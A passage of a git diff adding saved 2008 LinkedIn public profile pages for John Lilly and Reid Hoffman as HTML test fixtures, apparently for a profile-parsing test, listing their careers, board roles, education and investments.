+                <img src="/img/icon/conx/icon_conx_16_24x24.gif" width="24" height="24" alt="" />
+                <strong class="connection-count">
+                427
+                </strong> connections
+              </dd>
+            <dt>Industry</dt>
+            <dd>
+              Computer Software
+            </dd>
+          </dl>
+        </div>
+        <hr />
+        <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { showHide.init(); }
+  // -->
+  </script>
+          <div id="summary">
+            <h2>John Lilly&#8217;s Summary</h2>
+              <p class="summary">
+                I've spent virtually my whole career in high technology (both software and hardware), with a particular focus on startups. Huge focus over the last 5 years at getting companies up and running from scratch, including Reactivity, Zaplet & CenterRun, as well as scaling Mozilla into one of the largest software distributors on the planet.
+              </p>
+          </div>
+          <hr />
+          <div id="experience">
+            <h2>John Lilly&#8217;s Experience</h2>
+            <ul class="vcalendar">
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">CEO</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Privately Held; 51-200 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2008-01-01">January 2008</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2M">(2 months)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Trustees</h3>
+      <h4 class="org summary">Sunnyvale Public Library</h4>
+    
+  <p class="organization-details">(Government Agency; 1-10 employees; Libraries industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-06-01">June 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y9M">(2 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Oversee & advise the Sunnyvale City Council on issues relating to the Public Library.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Open Source Applications Foundation</h4>
+    
+  <p class="organization-details">(Non-Profit; 11-50 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2001-01-01">January 2001</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P7Y2M">(7 years 2 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">At Mitch Kapor's Open Source Applications Foundation (http://www.osafoundation.org), we're working to reinvent personal information managers and the way that open source projects get built.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Chief Operating Officer &amp; Member, Board of Directors</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Privately Held; 51-200 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-07-01">July 2005</abbr>
+         &mdash; <abbr class="dtend" title="2007-12-01">December 2007</abbr>
+        
+        <abbr class="duration" title="P2Y6M">(2 years 6 months)</abbr>
+        
+      
+  </p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">CTO, VP Products, Board of Directors &amp; Founder</h3>
+      <h4 class="org summary">Reactivity (acquired by Cisco)</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2001-01-01">January 2001</abbr>
+         &mdash; <abbr class="dtend" title="2004-12-01">December 2004</abbr>
+        
+        <abbr class="duration" title="P4Y">(4 years)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">- Drove product strategy and roadmap through first 4 releases\r<br>
+- Ran technical sales for the company – significant responsibility for closing early customers\r<br>
+- Hired and managed team of seven people for pre-sales, post-sales and product management\r<br>
+- Wrote majority of white papers, presentations, technical collateral\r<br>
+- Created services organization and ran first several implementations\r<br>
+- Major role in fundraising $6M and $10M rounds</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">CenterRun</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2000-06-01">June 2000</abbr>
+         &mdash; <abbr class="dtend" title="2003-06-01">June 2003</abbr>
+        
+        <abbr class="duration" title="P3Y1M">(3 years 1 month)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Was a board member for CenterRun, a Sequoia Capital backed startup that focused on application provisioning for enterprise data centers. CenterRun was acquired by Sun Microsystems in August 2003.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">CEO, Board of Directors &amp; Founder</h3>
+      <h4 class="org summary">Reactivity</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="1998-01-01">January 1998</abbr>
+         &mdash; <abbr class="dtend" title="2000-12-01">December 2000</abbr>
+        
+        <abbr class="duration" title="P3Y">(3 years)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">During this time, Reactivity was a technology incubator, specializing in building first products and teams for hi-tech companies. Our more than 80 clients included Nuance, MetalSite, ChemDex, and Epinions. During this period, we also performed R&D and team building to start our own companies from scratch, two of which we successfully spun out: Zaplet Inc. (backed by KPCB), and CenterRun Inc. (backed by Sequoia Capital and recently acquired by Sun Microsystems).\r<br>
+\r<br>
+- Ran the new ventures creation side of the business\r<br>
+- Significant involvement in creating and spinning out Zaplet and CenterRun\r<br>
+- Managed operations for the company from inception through $2.5M consulting revenue in CY2000\r<br>
+- Actively involved in staffing, including running the process for hiring CEO successor\r<br>
+- Ran Series A fundraise for $23M from Accel, Austin Ventures and Maveron</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Senior Scientist</h3>
+      <h4 class="org summary">Apple Computer</h4>
+    
+  <p class="organization-details">(Public Company; 1001-5000 employees; AAPL; Computer Hardware industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="1997-01-01">January 1997</abbr>
+         &mdash; <abbr class="dtend" title="1997-12-01">December 1997</abbr>
+        
+        <abbr class="duration" title="P1Y">(1 year)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Apple Computer\92s Advanced Technology excelled in user experience research; the group that I was in focused on end-user authoring, allowing \93normal people\94 to create content (and share it with peers, family, etc. over both proprietary networks and the Internet).\r<br>
+\r<br>
+- One of the youngest ever to hold Senior Scientist title\r<br>
+- Work resulted in two U.S. patents for application server style technology\r<br>
+- Performed research and early implementations of online communities</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Director of Design</h3>
+      <h4 class="org summary">Trilogy Software</h4>
+    
+  <p class="organization-details">(Privately Held; 201-500 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="1995-06-01">June 1995</abbr>
+         &mdash; <abbr class="dtend" title="1996-12-01">December 1996</abbr>
+        
+        <abbr class="duration" title="P1Y7M">(1 year 7 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">When I arrived, Trilogy had many customers but a large level of frustration with Trilogy's product's user interfaces. I created a new Design Group to address this need, and put into place a methodology and team that resulted in measurable new sales for the company and increased customer satisfaction. \r<br>
+\r<br>
+- Created and managed the Design Group \96 one of the first design groups in the enterprise software sector\r<br>
+- Responsibility for redesigning the user interfaces across company\92s product lines\r<br>
+- Personally worked on projects with largest customers including Boeing, HP & Haworth\r<br>
+- Developed and shipped several new products\r<br>
+- Was member of Trilogy\92s executive staff</p>
+  
+</li>
+
+            </ul>
+          </div>
+          <hr />
+          <div id="education">
+            <h2>John Lilly&#8217;s Education</h2>
+            <ul class="vcalendar">
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Stanford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">MS</span>, <span class="major">Computer Science</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1993-01-01">September 1993</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1995-12-31">June 1995</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>- Study focus on User Experience; advisor was Terry Winograd\r<br>
+- Ran undergraduate teaching assistant program (CS198) for two years, including managing fifty section leaders in premier undergraduate CS program</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Stanford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">BS</span>, <span class="major">Computer Systems Engineering</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1989-01-01">September 1989</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1993-12-31">June 1993</abbr></span> 
+        
+    </p>
+    
+      <p class="notes">- Curriculum focused on combination of Electrical Engineering and Computer Science</p>
+    
+    
+               </div>
+  </li>
+
+
+            </ul>
+          </div>
+          <hr />
+      <div class="viewfull">
+        <p><a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1269&authToken=6G_6&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a></p>
+      </div>
+  </div>
+  <div id="control" class="infobar">
+    <div class="powered">
+      <h3> Public profile powered by: <a href="http://www.linkedin.com/home?trk=ppro_pbli" ><img src="/img/logos/logo_82x23.gif" height="23" width="82" alt="LinkedIn"></a>
+      </h3>
+      <p>Create a public profile: <strong>
+        <a href="http://www.linkedin.com/ppl/webprofile?action=gwp&id=1269&authToken=6G_6&authType=name&trk=ppro_geturl" >Sign In</a>
+        </strong> or <strong>
+        <a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a>
+        </strong></p>
+    </div>
+      <div class="box" id="readmore">
+        <div class="title">
+          <h3>View John&#8217;s full profile:</h3>
+        </div>
+        <div class="content">
+          <ul>
+            <li>See who you and <strong>John Lilly</strong> know in common</li>
+            <li>Get introduced to <strong>John Lilly</strong></li>
+            <li>Contact <strong>John Lilly</strong> directly</li>
+          </ul>
+          <p class="btn">
+            <a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1269&authToken=6G_6&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a>
+          </p>
+        </div>
+      </div>
+    <div class="box" id="search">
+      <div class="title">
+        <h3><strong>Name Search</strong></h3>
+      </div>
+      <div class="content">
+        <p><strong>Search for people you know</strong> from over 17 million professionals already on LinkedIn.</p>
+        <form name="searchForm" action="/pub/dir/" method="get">
+          <p class="field"><span class="lbl">
+            <label for="first">First Name</label>
+            <br />
+            </span>
+            <input type="text" name="first" id="first" />
+            &nbsp;&nbsp;<span class="lbl"><br />
+            <label for="last">Last Name</label>
+            <br />
+            </span>
+            <input type="text" name="last" id="last" />
+          </p>
+          <p class="example">
+            <input class="btn-secondary" type="submit" name="search" value="Search"/> (example: <strong>
+<a href="/pub/dir/John/Lilly?trk=ppro_find_others" >John Lilly</a></strong>)
+          </p>
+        </form>
+      </div>
+    </div>
+    <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { fancyLabels.init('search'); }
+  // -->
+  </script>
+    <script type="text/javascript">var dbl_page = 'public_profile';</script>
+    <script type="text/javascript">
+        var google_ad_width = 300, google_ad_height = 250, google_ad_format = '300x250_as';
+      </script>
+      <script type="text/javascript" src="/js/google.js"></script>
+      <script type="text/javascript">
+        var dbl_extra = 'extra=null', dbl_tile = '6', dbl_sz = '300x250';
+        var dbl_profile = LIAds.getProfile().replace(/&/g,';');
+        var dbl_src = "http://ad.doubleclick.net/adj/linkedin.dart/" + dbl_page + ";" + dbl_profile + ";tile=" + dbl_tile + ";dcopt=ist;sz=" + dbl_sz + ";" + encodeURIComponent(dbl_extra) + ";ord=" + dbl_ord +"?";
+        document.write('<script src="' + dbl_src + '" type="text/javascript"><\/script>');
+      </script>
+  </div>
+</div>
+<hr />
+
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+</body>
+</html>
+
diff --git a/tests/nose/data/linkedin/reidhoffman b/tests/nose/data/linkedin/reidhoffman
new file mode 100644 (file)
index 0000000..bb0eefb
--- /dev/null
@@ -0,0 +1,750 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: Reid Hoffman</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <meta name="description" content="Reid Hoffman's professional profile on LinkedIn. LinkedIn is a networking tool that helps users like Reid Hoffman discover inside connections to recommended job candidates, industry experts and business partners." />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/default.css" media="screen,projection,print" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/screen.css" media="screen,projection" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/print.css" media="print" />
+  <script type="text/javascript" src="/js/showhide.js"></script>
+  <script type="text/javascript" src="/js/public_profile.js"></script>
+  <script type="text/javascript">
+    if(typeof(i18n) == 'undefined') var i18n = {}; 
+    i18n.TEXT_PLEASE_ENTER = "Please enter a first and last name.";
+  </script>
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body id="www-linkedin-com" class="public-profile">
+<div class="hresume">
+    <div class="profile-header">
+      <div class="masthead vcard contact portrait">
+        <div id="nameplate">
+          <h1 id="name"><span class="fn n"><span class="given-name">Reid</span> <span class="family-name">Hoffman</span></span></h1>
+        </div>
+        <div class="content">
+          <div class="info">
+              <div class="image"><img class="photo" src="http://media.linkedin.com/mpr/mpr/shrink_80_80/p/1/000/000/038/24da1dc.jpg" alt="Reid Hoffman"/></div>
+              <p class="headline title">Entrepreneur.  General Manager.  Product Strategist.</p>
+            <div class="adr">
+              <p class="locality">
+                San Francisco Bay Area
+              </p>
+            </div>
+          </div>
+          <div class="actions">
+            <ul>
+              <li id="send-inmail">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1213&authToken=ChBr&authType=name&trk=ppro_cntdir" >Contact Directly</a>
+              </li>
+              <li id="get-introduced">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1213&authToken=ChBr&authType=name&trk=ppro_getintr" >Get introduced through a connection</a>
+              </li>
+                  <li class="website">
+ <a href="http://www.linkedin.com" class="url" rel="me" target="_blank">
+                        My Company
+                        </a>                   </li>
+                  <li class="website">
+<a href="http://www.kiva.org/lender/reid" class="url" target="_blank">Combat global poverty</a>                  </li>
+                  <li class="website">
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" class="url" target="_blank">We're hiring!</a>                  </li>
+            </ul>
+          </div>
+        </div>
+      </div>
+    </div>
+  <div id="main">
+        <div id="overview">
+          <dl>
+              <dt>Current</dt>
+              <dd>
+                <ul class="current">
+                        <li>
+
+
+
+Chairman and President, Products at LinkedIn
+
+                        </li>
+                        <li>
+
+
+
+Member, Provost Council at College Eight, UCSC
+
+                        </li>
+                        <li>
+
+
+
+Member, Board of Directors at Kiva.org
+
+                        </li>
+                </ul>
+                  <div class="showhide-block" id="morecurr">
+                    <ul class="current">
+                            <li>
+
+
+
+Member, Board of Directors at Tagged
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Mozilla Corporation
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Vendio
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Grassroots
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Six Apart
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Advisors at Lulan LLC
+
+                            </li>
+                            <li>
+
+
+
+Angel Investor at Aufklarung LLC
+
+                            </li>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="morecurr-hide">see less...</a></p>
+                  </div>
+                      <p class="seeall showhide-link"><a href="#" id="morecurr-show">7 more...</a></p>
+              </dd>
+              <dt>Education</dt>
+              <dd>
+                <ul>
+                      <li>
+                        
+           Oxford University
+      
+                      </li>
+                      <li>
+                        
+           Stanford University
+      
+                      </li>
+                      <li>
+                        
+           The Putney School
+      
+                      </li>
+                </ul>
+                  <div class="showhide-block" id="moreedu">
+                    <ul>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="moreedu-hide">see less...</a></p>
+                  </div>
+              </dd>
+              <dt class="recommended">Recommended</dt>
+              <dd class="recommended">
+<img src="/img/icon/endorse/icon_endorse_3_35x24.gif" width="35" height="24" alt="Reid has 49 recommendations" title="Reid has 49 recommendations" />                <strong class="recommendation-count r3">49</strong> people have recommended Reid </dd>
+              <dt class="connections">Connections</dt>
+              <dd class="connections">
+                <img src="/img/icon/conx/icon_conx_16_24x24.gif" width="24" height="24" alt="" />
+                <strong class="connection-count">
+                500+
+                </strong> connections
+              </dd>
+            <dt>Industry</dt>
+            <dd>
+              Internet
+            </dd>
+              <dt>Websites</dt>
+              <dd>
+                <ul>
+                    <li>
+<a href="http://www.linkedin.com" class="url" rel="me" target="_blank">
+                          My Company
+                          </a>                     </li>
+                    <li>
+<a href="http://www.kiva.org/lender/reid" class="url" rel="me" target="_blank">Combat global poverty</a>                    </li>
+                    <li>
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" class="url" rel="me" target="_blank">We're hiring!</a>                    </li>
+                </ul>
+              </dd>
+          </dl>
+        </div>
+        <hr />
+        <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { showHide.init(); }
+  // -->
+  </script>
+          <div id="summary">
+            <h2>Reid Hoffman&#8217;s Summary</h2>
+              <p class="summary">
+                All aspects of consumer internet and software.  Focus is on finance, business strategy, and development, but includes product management, operations, business operations, business development, and marketing.  Focus is on seed-stage technology companies, but have also helped profitable companies grow.
+              </p>
+              <h3>Reid Hoffman&#8217;s Specialties:</h3>
+              <p class="skills">
+                General management, product development, business models, strategy, negotiation, financing, deal structure,  international, marketing, brand development, brand management, business development, public relations, press strategy, payments infrastructure, financial services, mergers and acquisitions, start-ups, software development, operations centers.
+              </p>
+          </div>
+          <hr />
+          <div id="experience">
+            <h2>Reid Hoffman&#8217;s Experience</h2>
+            <ul class="vcalendar">
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Chairman and President, Products</h3>
+      <h4 class="org summary">LinkedIn</h4>
+    
+  <p class="organization-details">(Privately Held; 201-500 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2007-02-01">February 2007</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y1M">(1 year 1 month)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">LinkedIn powers your professional life by enabling you to: \r<br>
+\r<br>
+-Control your professional profile online (on LinkedIn and in search engines like Google)\r<br>
+\r<br>
+-Tap into your trusted network for opportunities, referrals, and answers to critical business questions\r<br>
+\r<br>
+-Search for the right professionals (experts, hires, references, consultants, service providers)\r<br>
+\r<br>
+LinkedIn’s primary customer will always be each individual professional.   LinkedIn also provides services for companies, professional associations, alumni associations, non-profits, and conferences.  \r<br>
+\r<br>
+My role is product and business strategy, evangelizing the utility to every professional.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Provost Council</h3>
+      <h4 class="org summary">College Eight, UCSC</h4>
+    
+  <p class="organization-details">(Educational Institution; 1001-5000 employees; Higher Education industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-07-01">July 2006</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y8M">(1 year 8 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">College Eight is a residential educational college part of UCSC.  The focus is environmental citizenship, ranging from topics of enviromental civics and justice to environmental enterpreneurship.  The new educational goal is to achieve academic excellence through current research and teaching, and also through connections with business and government.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Kiva.org</h4>
+    
+  <p class="organization-details">(Non-Profit; 1-10 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-06-01">June 2006</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y9M">(1 year 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Kiva provides an entrepreneur's marketplace for social micro-lending.  The entrepreneurs are pre-vetted by micro-finance organizations.  They are then listed on Kiva's web marketplace, and interested and motivated lenders can lend money for the creation of businesses.  It is the paradigm case of teaching to fish rather than giving fish.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Tagged</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-12-01">December 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y3M">(2 years 3 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">The teen social network for teens.  It's a place on the web only for teens - hip, interesting, and cool.  Within a short time, it has millions of teens; and the most interesting parts are still to arrive.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-08-01">August 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y7M">(2 years 7 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Evangelists and champions of the free and open web-platform, Firefox.  Firefox allows consumers the experience they want, all software and internet companies to build extensions, and open-source developers to contribute freely and democratically.  Firefox works to keep a free, open web -- both through its own platform and by inspiring other browsers to create open apis and platforms with great consumer experiences.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Vendio</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-06-01">June 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y9M">(4 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Vendio provides best of breed, easy-to-use services for small businesses on eBay and on the Internet.  Vendio also provides a great price-checking and comparing toolbar so that you never overpay on the internet again: www.dealio.com.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Grassroots</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-06-01">June 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y9M">(4 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Best IT infrastructure and enablement for grassroots campaigns for corporations.  Grassroots campaigns are extremely important for the modern corporation, as regulation, political competition, and risk mitigation are essential.  The best way to solve these problems: utilize your corporation's constintuency as a political force.  And corporations do have constituencies -- employees, shareholders, customers, partners, vendors, and others.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Six Apart</h4>
+    
+  <p class="organization-details">(Privately Held; 51-200 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-04-01">April 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y11M">(4 years 11 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">SixApart produces the best publishing platforms on the web for self-expression through words, pictures, and other media.  For self-hosting and business, it produces the leading blogging software MoveableType.  For hosted web publishing with great looks and effective tools, SixApart has the best blogging service TypePad.  And for younger web communities, it has LiveJournal.  Recently, SixApart has launched Vox which allows great sharing within your own private community -- your family, your friends, and your neighborhood as you want it.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Advisors</h3>
+      <h4 class="org summary">Lulan LLC</h4>
+    
+  <p class="organization-details">(Privately Held; 1-10 employees; Textiles industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-01-01">January 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P5Y2M">(5 years 2 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Lulan imports top-quality textiles from socially great women's collectives in Asia to the U.S. market, transformed into the best products.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Angel Investor</h3>
+      <h4 class="org summary">Aufklarung LLC</h4>
+    
+  <p class="organization-details">(Privately Held; Myself Only; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2001-09-01">September 2001</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P6Y6M">(6 years 6 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Helped finance over 60 companies, 25+ from initial conception.  Angel investor in www.facebook.com, www.digg.com, www.bioscale.com, www.nanosolar.com, www.lulan.com, www.taxipass.com, www.naseeb.com, www.technorati.com, www.grassroots.com, www.friendster.com, www.socialtext.com, www.realtravel.com, www.rhythmnetworks.com, www.ravenflow.com, www.targetedgrowth.com, www.wink.com, www.wikia.com, www.adventsolar.com, www.bioscale.com, www.ning.com, www.tagged.com, www.tinypictures.us, www.etology.com, www.winster.com, www.rupture.com, www.jaxtr.com, www.kongregate.com, www.powerset.com, www.care.com, www.funnyordie.com, www.ironport.com, www.flixster.com, www.care.com,  www.flickr.com, www.last.fm, www.grockit.com and www.sixapart.com.</p>
+  
